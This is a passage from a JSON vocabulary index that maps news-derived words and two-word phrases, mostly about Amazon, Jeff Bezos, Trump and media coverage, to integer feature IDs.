\"slavica\": 122686,\n  \"optimal solution\": 122687,\n  \"happening fact\": 122688,\n  \"public business\": 122689,\n  \"1361932001 cancelsend\": 122690,\n  \"apple mean\": 122691,\n  \"trade channels\": 122692,\n  \"crucial holiday\": 122693,\n  \"isgur flores\": 122694,\n  \"best commercial\": 122695,\n  \"sales site\": 122696,\n  \"prime\": 122697,\n  \"seasonally stronger\": 122698,\n  \"dominate virtually\": 122699,\n  \"nbsp grateful\": 122700,\n  \"bozo previously\": 122701,\n  \"monopsony case\": 122702,\n  \"eisen reporter\": 122703,\n  \"large sums\": 122704,\n  \"alben chief\": 122705,\n  \"subsidizing wal\": 122706,\n  \"limited holds\": 122707,\n  \"broadband capacity\": 122708,\n  \"ombudsperson\": 122709,\n  \"yankee entertainment\": 122710,\n  \"jazeera\": 122711,\n  \"players treasury\": 122712,\n  \"population survey\": 122713,\n  \"future home\": 122714,\n  \"executive jeffrey\": 122715,\n  \"53bil rm217\": 122716,\n  \"slide read\": 122717,\n  \"complicated businesses\": 122718,\n  \"stores note\": 122719,\n  \"reached honors\": 122720,\n  \"firsthand sources\": 122721,\n  \"tabloid coverage\": 122722,\n  \"settlement 2019\": 122723,\n  \"expert comment\": 122724,\n  \"bumps raising\": 122725,\n  \"publisher began\": 122726,\n  \"monumentally stupid\": 122727,\n  \"chairman blamed\": 122728,\n  \"compress\": 122729,\n  \"reserved information\": 122730,\n  \"yes bezos\": 122731,\n  \"radically altered\": 122732,\n  \"long careers\": 122733,\n  \"tool called\": 122734,\n  \"shoppers eligible\": 122735,\n  \"town source\": 122736,\n  \"naz wakes\": 122737,\n  \"preferred social\": 122738,\n  \"health aides\": 122739,\n  \"quarter countered\": 122740,\n  \"wing extremists\": 122741,\n  \"mega corporations\": 122742,\n  \"mccain donald\": 122743,\n  \"quantitative evidence\": 122744,\n  \"leather shoulder\": 122745,\n  \"machines letting\": 122746,\n  \"endemic means\": 122747,\n  \"bakalar\": 122748,\n  \"educated memoir\": 122749,\n  \"africa according\": 122750,\n  \"potentially subsidizing\": 122751,\n  \"claire foy\": 122752,\n  \"administration decision\": 122753,\n  \"intense debate\": 122754,\n  \"form honor\": 122755,\n  \"discuss factors\": 122756,\n  \"borger sam\": 122757,\n  \"room\": 122758,\n  \"family dynasty\": 122759,\n  \"bestselling books\": 122760,\n  \"enquirer driven\": 122761,\n  \"weak\": 122762,\n  \"oracle stepped\": 122763,\n  \"glued\": 122764,\n  \"post warned\": 122765,\n  \"affiliate relationships\": 122766,\n  \"process carell\": 122767,\n  \"specifics\": 122768,\n  \"patent holders\": 122769,\n  \"truckloads\": 122770,\n  \"scs according\": 122771,\n  \"process toronto\": 122772,\n  \"parliament rejected\": 122773,\n  \"antennas\": 122774,\n  \"cairn terriers\": 122775,\n  \"title role\": 122776,\n  \"records covering\": 122777,\n  \"39th\": 122778,\n  \"records alongside\": 122779,\n  \"trump logic\": 122780,\n  \"downright counterproductive\": 122781,\n  \"america jingoism\": 122782,\n  \"representatives demanding\": 122783,\n  \"brink breaking\": 122784,\n  \"star wars\": 122785,\n  \"hard news\": 122786,\n  \"company reach\": 122787,\n  \"digitizing offline\": 122788,\n  \"safe haven\": 122789,\n  \"amazon sellers\": 122790,\n  \"blunders\": 122791,\n  \"additional fee\": 122792,\n  \"street concerns\": 122793,\n  \"trophies\": 122794,\n  \"qualitatively different\": 122795,\n  \"ibm filed\": 122796,\n  \"new plan\": 122797,\n  \"contracts comparing\": 122798,\n  \"ring captures\": 122799,\n  \"efficient ticket\": 122800,\n  \"pipelines\": 122801,\n  \"dnllnupeff zoya\": 122802,\n  \"concepts\": 122803,\n  \"caption amr\": 122804,\n  \"radio pushback\": 122805,\n  \"essential streaming\": 122806,\n  \"estate high\": 122807,\n  \"regulatory legal\": 122808,\n  \"christianbook\": 122809,\n  \"yucel\": 122810,\n  \"dies\": 122811,\n  \"gags\": 122812,\n  \"including digital\": 122813,\n  \"parallels\": 122814,\n  \"flexible\": 122815,\n  \"telemundo\": 122816,\n  \"reassuring words\": 122817,\n  \"threw away\": 122818,\n  \"couldn divide\": 122819,\n  \"advisor jared\": 122820,\n  \"analysts miffed\": 122821,\n  \"presidential run\": 122822,\n  \"inc_feature_image_background_color_override\": 122823,\n  \"larry web\": 122824,\n  \"starring roles\": 122825,\n  \"commitments defended\": 122826,\n  \"endicia solutions\": 122827,\n  \"suddenly tone\": 122828,\n  \"156\": 122829,\n  \"acronym shin\": 122830,\n  \"44bil cloud\": 122831,\n  \"engadget\": 122832,\n  \"notably absent\": 122833,\n  \"miles separating\": 122834,\n  \"playboy model\": 122835,\n  \"blame putin\": 122836,\n  \"archway publishing\": 122837,\n  \"prove successful\": 122838,\n  \"daughter including\": 122839,\n  \"joined prime\": 122840,\n  \"east german\": 122841,\n  \"worldview financial\": 122842,\n  \"ttrolling\": 122843,\n  \"premium grocery\": 122844,\n  \"trumpish\": 122845,\n  \"media power\": 122846,\n  \"unilaterally change\": 122847,\n  \"graziano\": 122848,\n  \"used baby\": 122849,\n  \"proper look\": 122850,\n  \"ownership affects\": 122851,\n  \"state geekwire\": 122852,\n  \"collector\": 122853,\n  \"driving growth\": 122854,\n  \"botham jean\": 122855,\n  \"roof\": 122856,\n  \"company incoming\": 122857,\n  \"posting notes\": 122858,\n  \"bezos vowed\": 122859,\n  \"steep pullback\": 122860,\n  \"inequality problem\": 122861,\n  \"report enquirer\": 122862,\n  \"trump wife\": 122863,\n  \"contribute certainly\": 122864,\n  \"lighting face\": 122865,\n  \"really seen\": 122866,\n  \"abandon hope\": 122867,\n  \"large fund\": 122868,\n  \"affairs took\": 122869,\n  \"cuomo comments\": 122870,\n  \"salazar\": 122871,\n  \"pushed confirmation\": 122872,\n  \"syracuse university\": 122873,\n  \"ilsr study\": 122874,\n  \"states read\": 122875,\n  \"computing business\": 122876,\n  \"pentagon silicon\": 122877,\n  \"stranger contributor\": 122878,\n  \"extinct\": 122879,\n  \"maker dumps\": 122880,\n  \"benjamin paige\": 122881,\n  \"site home\": 122882,\n  \"handing\": 122883,\n  \"bipartisan house\": 122884,\n  \"amazon forms\": 122885,\n  \"policies experts\": 122886,\n  \"patents partnerships\": 122887,\n  \"operations jpmorgan\": 122888,\n  \"snow\": 122889,\n  \"annual income\": 122890,\n  \"shipping channels\": 122891,\n  \"evidence takes\": 122892,\n  \"meant job\": 122893,\n  \"economy given\": 122894,\n  \"ago sucharita\": 122895,\n  \"member constantinides\": 122896,\n  \"shared goal\": 122897,\n  \"goldenberg sent\": 122898,\n  \"pale batshit\": 122899,\n  \"mirror reported\": 122900,\n  \"pic\": 122901,\n  \"president emmanuel\": 122902,\n  \"puts\": 122903,\n  \"reason written\": 122904,\n  \"smallest\": 122905,\n  \"chief making\": 122906,\n  \"claims big\": 122907,\n  \"wouldn exist\": 122908,\n  \"competitive market\": 122909,\n  \"arms dealer\": 122910,\n  \"micron\": 122911,\n  \"debut\": 122912,\n  \"fisher distinguished\": 122913,\n  \"post date\": 122914,\n  \"national anti\": 122915,\n  \"virginia reports\": 122916,\n  \"regulated area\": 122917,\n  \"defining gender\": 122918,\n  \"sanders reiterated\": 122919,\n  \"insurance institute\": 122920,\n  \"jair\": 122921,\n  \"gawe83rdm9 spectrum\": 122922,\n  \"mcdonald corp\": 122923,\n  \"having sexual\": 122924,\n  \"ago established\": 122925,\n  \"pot stock\": 122926,\n  \"nfl game\": 122927,\n  \"italian\": 122928,\n  \"polarising\": 122929,\n  \"particularly troubling\": 122930,\n  \"affair happened\": 122931,\n  \"sector dropped\": 122932,\n  \"possibly leaving\": 122933,\n  \"great deal\": 122934,\n  \"music instead\": 122935,\n  \"months read\": 122936,\n  \"inquirer seriously\": 122937,\n  \"merely airing\": 122938,\n  \"skirts\": 122939,\n  \"brennan john\": 122940,\n  \"kuwait began\": 122941,\n  \"bowled\": 122942,\n  \"interests post\": 122943,\n  \"broadly\": 122944,\n  \"twitter focus\": 122945,\n  \"reason unemployment\": 122946,\n  \"hua\": 122947,\n  \"federal safety\": 122948,\n  \"airlines ceo\": 122949,\n  \"hour series\": 122950,\n  \"morning brief\": 122951,\n  \"tech live\": 122952,\n  \"party separate\": 122953,\n  \"brainard\": 122954,\n  \"baffling george\": 122955,\n  \"entrants entering\": 122956,\n  \"400 people\": 122957,\n  \"early 1960s\": 122958,\n  \"espana\": 122959,\n  \"angrily incessantly\": 122960,\n  \"seth noted\": 122961,\n  \"rudy\": 122962,\n  \"warns israelis\": 122963,\n  \"frequently used\": 122964,\n  \"guggenheims minerd\": 122965,\n  \"tragedy occurred\": 122966,\n  \"scathing\": 122967,\n  \"terraclear read\": 122968,\n  \"powerful surveillance\": 122969,\n  \"brooklyn sen\": 122970,\n  \"000 brands\": 122971,\n  \"best fiction\": 122972,\n  \"2558225 acquired\": 122973,\n  \"resourced neighborhoods\": 122974,\n  \"personal lobbying\": 122975,\n  \"reassured johnson\": 122976,\n  \"expanding firm\": 122977,\n  \"threatens resettlement\": 122978,\n  \"communicated\": 122979,\n  \"aik technology\": 122980,\n  \"city shut\": 122981,\n  \"trump imposed\": 122982,\n  \"discharge\": 122983,\n  \"protected cher\": 122984,\n  \"author brian\": 122985,\n  \"men creator\": 122986,\n  \"sharpener\": 122987,\n  \"printed firearm\": 122988,\n  \"includes prime\": 122989,\n  \"huge leap\": 122990,\n  \"louis wound\": 122991,\n  \"sourcehsn\": 122992,\n  \"cr sinema\": 122993,\n  \"yen oil\": 122994,\n  \"report nails\": 122995,\n  \"emanuel adds\": 122996,\n  \"leniency\": 122997,\n  \"exists previously\": 122998,\n  \"announces david\": 122999,\n  \"sponsored emergency\": 123000,\n  \"turks jeff\": 123001,\n  \"jolts\": 123002,\n  \"bestsellling novelty\": 123003,\n  \"acutely\": 123004,\n  \"story juuls\": 123005,\n  \"considerinvoking\": 123006,\n  \"efe attorney\": 123007,\n  \"john felton\": 123008,\n  \"trumptrivia\": 123009,\n  \"power politico\": 123010,\n  \"france reports\": 123011,\n  \"carriers curious\": 123012,\n  \"edge strategies\": 123013,\n  \"necessary mnuchin\": 123014,\n  \"mom pammie\": 123015,\n  \"virginia just\": 123016,\n  \"labs arivale\": 123017,\n  \"seed round\": 123018,\n  \"citing concerns\": 123019,\n  \"reach private\": 123020,\n  \"enquirer political\": 123021,\n  \"edelman lauren\": 123022,\n  \"runs stories\": 123023,\n  \"products coming\": 123024,\n  \"york originally\": 123025,\n  \"indefinite\": 123026,\n  \"stocks did\": 123027,\n  \"spurred bezos\": 123028,\n  \"screen interactive\": 123029,\n  \"gauntlet\": 123030,\n  \"new extreme\": 123031,\n  \"monetary policy\": 123032,\n  \"time think\": 123033,\n  \"care product\": 123034,\n  \"value laurie\": 123035,\n  \"years making\": 123036,\n  \"retailer relies\": 123037,\n  \"personal peccadilloes\": 123038,\n  \"signage\": 123039,\n  \"inside tesla\": 123040,\n  \"bauer\": 123041,\n  \"snl thinks\": 123042,\n  \"reliable news\": 123043,\n  \"barcodes\": 123044,\n  \"trump crowd\": 123045,\n  \"biggest jeff\": 123046,\n  \"deduction bloomberg\": 123047,\n  \"capital grants\": 123048,\n  \"crash houston\": 123049,\n  \"trump jumps\": 123050,\n  \"submit_a_letter\": 123051,\n  \"portfolio svcs\": 123052,\n  \"140\": 123053,\n  \"party tricks\": 123054,\n  \"hillel\": 123055,\n  \"pipe bombs\": 123056,\n  \"day17 pictures\": 123057,\n  \"nope lest\": 123058,\n  \"leong owns\": 123059,\n  \"games trump\": 123060,\n  \"tourist\": 123061,\n  \"investigate frankly\": 123062,\n  \"universal free\": 123063,\n  \"big exception\": 123064,\n  \"plenty laura\": 123065,\n  \"contractual\": 123066,\n  \"dissonance jeffrey\": 123067,\n  \"dilip kumar\": 123068,\n  \"agency charges\": 123069,\n  \"justice special\": 123070,\n  \"headquarters starting\": 123071,\n  \"football star\": 123072,\n  \"phishing volume\": 123073,\n  \"craig covey\": 123074,\n  \"vehicle amazon\": 123075,\n  \"sanchez big\": 123076,\n  \"honduras\": 123077,\n  \"headquarters attracted\": 123078,\n  \"launched barrage\": 123079,\n  \"biography jeff\": 123080,\n  \"baseball cap\": 123081,\n  \"strip club\": 123082,\n  \"moffat\": 123083,\n  \"scola\": 123084,\n  \"colorado man\": 123085,\n  \"sandy devastating\": 123086,\n  \"resurface\": 123087,\n  \"launched govpredict\": 123088,\n  \"prices earning\": 123089,\n  \"tops 100\": 123090,\n  \"betweenalexandria\": 123091,\n  \"president prosecutor\": 123092,\n  \"carry amazon\": 123093,\n  \"hour weeks\": 123094,\n  \"face tax\": 123095,\n  \"events zinke\": 123096,\n  \"tax rebate\": 123097,\n  \"buys online\": 123098,\n  \"mishandled discrimination\": 123099,\n  \"smart push\": 123100,\n  \"public anger\": 123101,\n  \"potential valuation\": 123102,\n  \"muckerman happy\": 123103,\n  \"testaments\": 123104,\n  \"visit datax\": 123105,\n  \"yield climbed\": 123106,\n  \"hardline stance\": 123107,\n  \"remarked charlie\": 123108,\n  \"saudi activist\": 123109,\n  \"briefly salesforce\": 123110,\n  \"newsprint\": 123111,\n  \"major media\": 123112,\n  \"night critics\": 123113,\n  \"suit steve\": 123114,\n  \"newswi author\": 123115,\n  \"house office\": 123116,\n  \"uk businesses\": 123117,\n  \"enquirer source\": 123118,\n  \"forearm\": 123119,\n  \"film crew\": 123120,\n  \"televisions\": 123121,\n  \"challenges trump\": 123122,\n  \"mart foto\": 123123,\n  \"phaidon press\": 123124,\n  \"contained incongruencies\": 123125,\n  \"law spokeswoman\": 123126,\n  \"essentially feeding\": 123127,\n  \"eastern restaurants\": 123128,\n  \"trump obsession\": 123129,\n  \"sellers working\": 123130,\n  \"break nic\": 123131,\n  \"jaime herrera\": 123132,\n  \"plays short\": 123133,\n  \"wine market\": 123134,\n  \"mogul trump\": 123135,\n  \"focus switches\": 123136,\n  \"says president\": 123137,\n  \"broadbandbreakfast reached\": 123138,\n  \"midsummer\": 123139,\n  \"story feds\": 123140,\n  \"ate jeff\": 123141,\n  \"selfish political\": 123142,\n  \"later carell\": 123143,\n  \"legal president\": 123144,\n  \"height 516\": 123145,\n  \"people based\": 123146,\n  \"chinese intelligence\": 123147,\n  \"pirates\": 123148,\n  \"authoritarian regime\": 123149,\n  \"second temple\": 123150,\n  \"mistaking butterfly\": 123151,\n  \"grapes\": 123152,\n  \"wall democrats\": 123153,\n  \"15gb\": 123154,\n  \"amazon freetime\": 123155,\n  \"ebitd\": 123156,\n  \"hornets\": 123157,\n  \"twist jeff\": 123158,\n  \"tweeted walmart\": 123159,\n  \"think apple\": 123160,\n  \"labour organization\": 123161,\n  \"politically corrupt\": 123162,\n  \"previous night\": 123163,\n  \"campus carbondale\": 123164,\n  \"pretzel logic\": 123165,\n  \"output\": 123166,\n  \"censorship news\": 123167,\n  \"stuff shipped\": 123168,\n  \"storied\": 123169,\n  \"stopped carrying\": 123170,\n  \"airlines operation\": 123171,\n  \"invalidation\": 123172,\n  \"amazon stories\": 123173,\n  \"presently seeing\": 123174,\n  \"wave far\": 123175,\n  \"facebooks stock\": 123176,\n  \"invited criticism\": 123177,\n  \"queens good\": 123178,\n  \"ben eisen\": 123179,\n  \"quite fittingly\": 123180,\n  \"dalykyle\": 123181,\n  \"entire defense\": 123182,\n  \"single biggest\": 123183,\n  \"eissenstat\": 123184,\n  \"philips hue\": 123185,\n  \"comcast\": 123186,\n  \"president neel\": 123187,\n  \"channels unless\": 123188,\n  \"billion damage\": 123189,\n  \"advance amazon\": 123190,\n  \"sells nearly\": 123191,\n  \"reports parcel\": 123192,\n  \"store development\": 123193,\n  \"containercontents\": 123194,\n  \"balfour figure\": 123195,\n  \"quiet recovered\": 123196,\n  \"grech\": 123197,\n  \"political satirist\": 123198,\n  \"amazon analysts\": 123199,\n  \"emails asking\": 123200,\n  \"regulatory actions\": 123201,\n  \"operating package\": 123202,\n  \"studio\": 123203,\n  \"gigantic missed\": 123204,\n  \"exclusive access\": 123205,\n  \"weighs replacing\": 123206,\n  \"tech sectors\": 123207,\n  \"led federal\": 123208,\n  \"amazon discounted\": 123209,\n  \"competition google\": 123210,\n  \"tech employees\": 123211,\n  \"boon\": 123212,\n  \"major open\": 123213,\n  \"professional ambitions\": 123214,\n  \"movie theater\": 123215,\n  \"hd sfly\": 123216,\n  \"constant target\": 123217,\n  \"remained uneven\": 123218,\n  \"lincoln led\": 123219,\n  \"television trump\": 123220,\n  \"psychological\": 123221,\n  \"sister relationship\": 123222,\n  \"company adrenaline\": 123223,\n  \"big bucks\": 123224,\n  \"voters electing\": 123225,\n  \"sums\": 123226,\n  \"establishes\": 123227,\n  \"address\": 123228,\n  \"public available\": 123229,\n  \"appeasing millions\": 123230,\n  \"did double\": 123231,\n  \"obscenely rude\": 123232,\n  \"suggests potential\": 123233,\n  \"swedish\": 123234,\n  \"spew trump\": 123235,\n  \"agency hasn\": 123236,\n  \"shares matrix\": 123237,\n  \"movements campaigning\": 123238,\n  \"crash tennessee\": 123239,\n  \"club does\": 123240,\n  \"righteously posing\": 123241,\n  \"summit accomplish\": 123242,\n  \"stroke\": 123243,\n  \"productivity targets\": 123244,\n  \"routinely distorting\": 123245,\n  \"benjamin franklin\": 123246,\n  \"labor expense\": 123247,\n  \"anticipated debuts\": 123248,\n  \"anemic\": 123249,\n  \"people erodes\": 123250,\n  \"entire oilpatch\": 123251,\n  \"administrator andrew\": 123252,\n  \"political attacks\": 123253,\n  \"strength amazon\": 123254,\n  \"giving favorable\": 123255,\n  \"schedule trump\": 123256,\n  \"saw massive\": 123257,\n  \"trump broadside\": 123258,\n  \"dad facebook\": 123259,\n  \"width 1100\": 123260,\n  \"wife lynne\": 123261,\n  \"mood hostile\": 123262,\n  \"causing food\": 123263,\n  \"reporter brian\": 123264,\n  \"committee asked\": 123265,\n  \"fils aim\\u00e9\": 123266,\n  \"slashed high\": 123267,\n  \"nice rally\": 123268,\n  \"met een\": 123269,\n  \"slow revenues\": 123270,\n  \"release publicly\": 123271,\n  \"mycolleague\": 123272,\n  \"simply stocks\": 123273,\n  \"trump line\": 123274,\n  \"thirty years\": 123275,\n  \"recent spectrum\": 123276,\n  \"shutterstock donald\": 123277,\n  \"generates subsidize\": 123278,\n  \"state cramer\": 123279,\n  \"rout\": 123280,\n  \"bulk users\": 123281,\n  \"launch\": 123282,\n  \"date commenting\": 123283,\n  \"new generations\": 123284,\n  \"competition according\": 123285,\n  \"holistic north\": 123286,\n  \"staver pecker\": 123287,\n  \"apr general\": 123288,\n  \"indicts suspended\": 123289,\n  \"improvement products\": 123290,\n  \"berman told\": 123291,\n  \"cities competing\": 123292,\n  \"enquirer exposure\": 123293,\n  \"asking marketers\": 123294,\n  \"claim newsom\": 123295,\n  \"companies koch\": 123296,\n  \"toledo\": 123297,\n  \"network nbc\": 123298,\n  \"held 916\": 123299,\n  \"link amazon\": 123300,\n  \"science correspondent\": 123301,\n  \"liberal global\": 123302,\n  \"true follow\": 123303,\n  \"technology empire\": 123304,\n  \"kushner companies\": 123305,\n  \"pricing\": 123306,\n  \"jedi keeping\": 123307,\n  \"block dc\": 123308,\n  \"old ruling\": 123309,\n  \"coronation\": 123310,\n  \"flamethrower\": 123311,\n  \"facebook read\": 123312,\n  \"trump shipping\": 123313,\n  \"rages\": 123314,\n  \"ceo isn\": 123315,\n  \"michael continued\": 123316,\n  \"times potentially\": 123317,\n  \"graying white\": 123318,\n  \"sees patents\": 123319,\n  \"common sight\": 123320,\n  \"citigroup investment\": 123321,\n  \"801\": 123322,\n  \"books written\": 123323,\n  \"ami stated\": 123324,\n  \"young adults\": 123325,\n  \"search\": 123326,\n  \"tax probe\": 123327,\n  \"guys jessica\": 123328,\n  \"burundian asylum\": 123329,\n  \"key recommendations\": 123330,\n  \"way target\": 123331,\n  \"tweeter\": 123332,\n  \"began ticking\": 123333,\n  \"street pegged\": 123334,\n  \"expect low\": 123335,\n  \"trump landed\": 123336,\n  \"people die\": 123337,\n  \"just 327\": 123338,\n  \"president derides\": 123339,\n  \"frozen foods\": 123340,\n  \"listed shares\": 123341,\n  \"strategic trademark\": 123342,\n  \"alleges politically\": 123343,\n  \"creator dylan\": 123344,\n  \"purchasing habits\": 123345,\n  \"worried\": 123346,\n  \"seized facebook\": 123347,\n  \"left holding\": 123348,\n  \"megalith amazon\": 123349,\n  \"giant stated\": 123350,\n  \"papers actually\": 123351,\n  \"bills 2019\": 123352,\n  \"online space\": 123353,\n  \"civil aviation\": 123354,\n  \"acquisitions market\": 123355,\n  \"customer metric\": 123356,\n  \"cool products\": 123357,\n  \"theirs ending\": 123358,\n  \"stone michael\": 123359,\n  \"strip parent\": 123360,\n  \"competitive toyota\": 123361,\n  \"note 327\": 123362,\n  \"money\": 123363,\n  \"trump paid\": 123364,\n  \"andrea miller\": 123365,\n  \"psychological thriller\": 123366,\n  \"baby driver\": 123367,\n  \"left vilified\": 123368,\n  \"tech talented\": 123369,\n  \"services raised\": 123370,\n  \"atlantic slave\": 123371,\n  \"commerce retailers\": 123372,\n  \"legislators need\": 123373,\n  \"incapacitated\": 123374,\n  \"funds reuters\": 123375,\n  \"distribution chain\": 123376,\n  \"public testimony\": 123377,\n  \"various reasons\": 123378,\n  \"global concerns\": 123379,\n  \"otto frank\": 123380,\n  \"sales geographically\": 123381,\n  \"obama contraception\": 123382,\n  \"hits stands\": 123383,\n  \"prices picked\": 123384,\n  \"diffusing\": 123385,\n  \"fomc\": 123386,\n  \"web companies\": 123387,\n  \"report issued\": 123388,\n  \"research key\": 123389,\n  \"vigorously reinvests\": 123390,\n  \"getting sold\": 123391,\n  \"mars sean\": 123392,\n  \"publish gloated\": 123393,\n  \"pretty impressive\": 123394,\n  \"known new\": 123395,\n  \"cratchit hear\": 123396,\n  \"basic banking\": 123397,\n  \"joint announcement\": 123398,\n  \"particular problem\": 123399,\n  \"putting trump\": 123400,\n  \"wants billion\": 123401,\n  \"pilot programs\": 123402,\n  \"movie rachel\": 123403,\n  \"face snags\": 123404,\n  \"road guide\": 123405,\n  \"quarterly loss\": 123406,\n  \"amazon loyalty\": 123407,\n  \"expecting small\": 123408,\n  \"ami launches\": 123409,\n  \"monopoly yeah\": 123410,\n  \"woefully inadequate\": 123411,\n  \"nfl patriots\": 123412,\n  \"hike wages\": 123413,\n  \"ami reports\": 123414,\n  \"repeat sears\": 123415,\n  \"stores increase\": 123416,\n  \"international business\": 123417,\n  \"added conservatives\": 123418,\n  \"normally clear\": 123419,\n  \"valentine\": 123420,\n  \"felt spacey\": 123421,\n  \"writes barry\": 123422,\n  \"delineates\": 123423,\n  \"movies coming\": 123424,\n  \"jones campusreform\": 123425,\n  \"recuse\": 123426,\n  \"knives\": 123427,\n  \"liver delicacy\": 123428,\n  \"lines fast\": 123429,\n  \"government advocates\": 123430,\n  \"bolduan thank\": 123431,\n  \"fraudulent goods\": 123432,\n  \"terry\": 123433,\n  \"named stormy\": 123434,\n  \"automakers feeling\": 123435,\n  \"broadsides including\": 123436,\n  \"crasher\": 123437,\n  \"challenge week\": 123438,\n  \"amazon bright\": 123439,\n  \"shale\": 123440,\n  \"justin tang\": 123441,\n  \"company levi\": 123442,\n  \"esquire\": 123443,\n  \"revisionist superhero\": 123444,\n  \"2017 report\": 123445,\n  \"unmatched new\": 123446,\n  \"mobile shoppers\": 123447,\n  \"flow developing\": 123448,\n  \"better story\": 123449,\n  \"guest writer\": 123450,\n  \"worst decisions\": 123451,\n  \"records administration\": 123452,\n  \"problems potus\": 123453,\n  \"world fastest\": 123454,\n  \"party class\": 123455,\n  \"progressive subset\": 123456,\n  \"ratings drop\": 123457,\n  \"trailer amazon\": 123458,\n  \"girlfriend glory\": 123459,\n  \"couldn recall\": 123460,\n  \"did celsius\": 123461,\n  \"preference gerrymandering\": 123462,\n  \"insider tens\": 123463,\n  \"isnot\": 123464,\n  \"amazon workers\": 123465,\n  \"anticipate shoppers\": 123466,\n  \"thousand depots\": 123467,\n  \"siu president\": 123468,\n  \"claude\": 123469,\n  \"operating realities\": 123470,\n  \"mastered ninja\": 123471,\n  \"infringing\": 123472,\n  \"model requires\": 123473,\n  \"accused national\": 123474,\n  \"mini smart\": 123475,\n  \"play fast\": 123476,\n  \"visited toronto\": 123477,\n  \"photo isac\": 123478,\n  \"kimmel joked\": 123479,\n  \"legally entitled\": 123480,\n  \"holdtheir\": 123481,\n  \"u9e\": 123482,\n  \"higher worker\": 123483,\n  \"magician sypha\": 123484,\n  \"shipping services\": 123485,\n  \"amazon instant\": 123486,\n  \"cbs content\": 123487,\n  \"continuing efforts\": 123488,\n  \"men shouted\": 123489,\n  \"midterm political\": 123490,\n  \"cuomo aide\": 123491,\n  \"sided political\": 123492,\n  \"just wanted\": 123493,\n  \"severinovsky\": 123494,\n  \"brennan told\": 123495,\n  \"jumpshot research\": 123496,\n  \"abiding piper\": 123497,\n  \"gutsy girl\": 123498,\n  \"trump guided\": 123499,\n  \"coordinated help\": 123500,\n  \"lurks\": 123501,\n  \"market dow\": 123502,\n  \"noam scheiber\": 123503,\n  \"oppressive conditions\": 123504,\n  \"trump global\": 123505,\n  \"sitting socially\": 123506,\n  \"proposed deal\": 123507,\n  \"new workers\": 123508,\n  \"told brennan\": 123509,\n  \"melancholia\": 123510,\n  \"news earlier\": 123511,\n  \"incentivize bundling\": 123512,\n  \"jeff amazon\": 123513,\n  \"added bonus\": 123514,\n  \"burn policy\": 123515,\n  \"hillicon\": 123516,\n  \"earning good\": 123517,\n  \"planet largest\": 123518,\n  \"michael told\": 123519,\n  \"handed tome\": 123520,\n  \"article makes\": 123521,\n  \"huawei packages\": 123522,\n  \"easily won\": 123523,\n  \"proposals aimed\": 123524,\n  \"fellow dow\": 123525,\n  \"commercial imagines\": 123526,\n  \"republican controlled\": 123527,\n  \"don know\": 123528,\n  \"internal investigation\": 123529,\n  \"operations small\": 123530,\n  \"nation trump\": 123531,\n  \"broadcasts\": 123532,\n  \"ftc\": 123533,\n  \"imagery\": 123534,\n  \"connect login\": 123535,\n  \"territories refering\": 123536,\n  \"specify\": 123537,\n  \"nepali spanish\": 123538,\n  \"pre payment\": 123539,\n  \"public funding\": 123540,\n  \"privatized\": 123541,\n  \"doesn hurt\": 123542,\n  \"individuals businesses\": 123543,\n  \"fbi joins\": 123544,\n  \"musks tweets\": 123545,\n  \"stallworth\": 123546,\n  \"200 drowned\": 123547,\n  \"increasing postal\": 123548,\n  \"ultimately run\": 123549,\n  \"kenneth rogoff\": 123550,\n  \"flattering questions\": 123551,\n  \"negligent\": 123552,\n  \"cut video\": 123553,\n  \"florida predicts\": 123554,\n  \"developer arrested\": 123555,\n  \"industry business\": 123556,\n  \"receive commission\": 123557,\n  \"fears trump\": 123558,\n  \"clientele\": 123559,\n  \"nation compared\": 123560,\n  \"debate personally\": 123561,\n  \"published online\": 123562,\n  \"socalred14\": 123563,\n  \"affiliate ant\": 123564,\n  \"marius\": 123565,\n  \"revelatory\": 123566,\n  \"having worked\": 123567,\n  \"unwanted\": 123568,\n  \"cost despite\": 123569,\n  \"virtual reality\": 123570,\n  \"ripped\": 123571,\n  \"midterm efforts\": 123572,\n  \"help sites\": 123573,\n  \"royal author\": 123574,\n  \"bitterly\": 123575,\n  \"sentiment jumps\": 123576,\n  \"measure taken\": 123577,\n  \"new delivery\": 123578,\n  \"charge devices\": 123579,\n  \"warp\": 123580,\n  \"old entrepreneur\": 123581,\n  \"amazon maxsa\": 123582,\n  \"youths consume\": 123583,\n  \"150 level\": 123584,\n  \"intermittent threats\": 123585,\n  \"response brennan\": 123586,\n  \"mystery structure\": 123587,\n  \"defer tax\": 123588,\n  \"hometown\": 123589,\n  \"defending recent\": 123590,\n  \"2018 yerepouni\": 123591,\n  \"resisting\": 123592,\n  \"music rihanna\": 123593,\n  \"stamps don\": 123594,\n  \"ton 256\": 123595,\n  \"petroleum institute\": 123596,\n  \"chanted eath\": 123597,\n  \"conniving fear\": 123598,\n  \"toronto office\": 123599,\n  \"russian leader\": 123600,\n  \"meaningful impacts\": 123601,\n  \"yesterday bomb\": 123602,\n  \"treated\": 123603,\n  \"company interactions\": 123604,\n  \"border smacks\": 123605,\n  \"making lot\": 123606,\n  \"frequent outbursts\": 123607,\n  \"ciecko ciecko\": 123608,\n  \"terrific unh\": 123609,\n  \"make jeff\": 123610,\n  \"donate directly\": 123611,\n  \"published stories\": 123612,\n  \"exhibit monopolistic\": 123613,\n  \"course keeping\": 123614,\n  \"comforting writing\": 123615,\n  \"disabled people\": 123616,\n  \"technical positions\": 123617,\n  \"fab home\": 123618,\n  \"frankly\": 123619,\n  \"uncover russian\": 123620,\n  \"elaborated\": 123621,\n  \"event sanders\": 123622,\n  \"mmm liberal\": 123623,\n  \"campaign totaling\": 123624,\n  \"amazon acquired\": 123625,\n  \"texts president\": 123626,\n  \"union representation\": 123627,\n  \"biome plus\": 123628,\n  \"ebitda respectively\": 123629,\n  \"thing fedex\": 123630,\n  \"bailouts subsidies\": 123631,\n  \"shipping deal\": 123632,\n  \"apt target\": 123633,\n  \"tech necessarily\": 123634,\n  \"mulholland\": 123635,\n  \"900 shares\": 123636,\n  \"d0 slice\": 123637,\n  \"baiting xenophobic\": 123638,\n  \"political ties\": 123639,\n  \"brashear imageurl\": 123640,\n  \"cheaper delivery\": 123641,\n  \"opioid stashed\": 123642,\n  \"kevin lisota\": 123643,\n  \"engages\": 123644,\n  \"key party\": 123645,\n  \"null logolink\": 123646,\n  \"paul kennedy\": 123647,\n  \"district judge\": 123648,\n  \"glitter gowns\": 123649,\n  \"familytravel\": 123650,\n  \"online distribution\": 123651,\n  \"customer instead\": 123652,\n  \"orleans director\": 123653,\n  \"rewrite\": 123654,\n  \"marie johnson\": 123655,\n  \"shift beginning\": 123656,\n  \"companies secretly\": 123657,\n  \"experts including\": 123658,\n  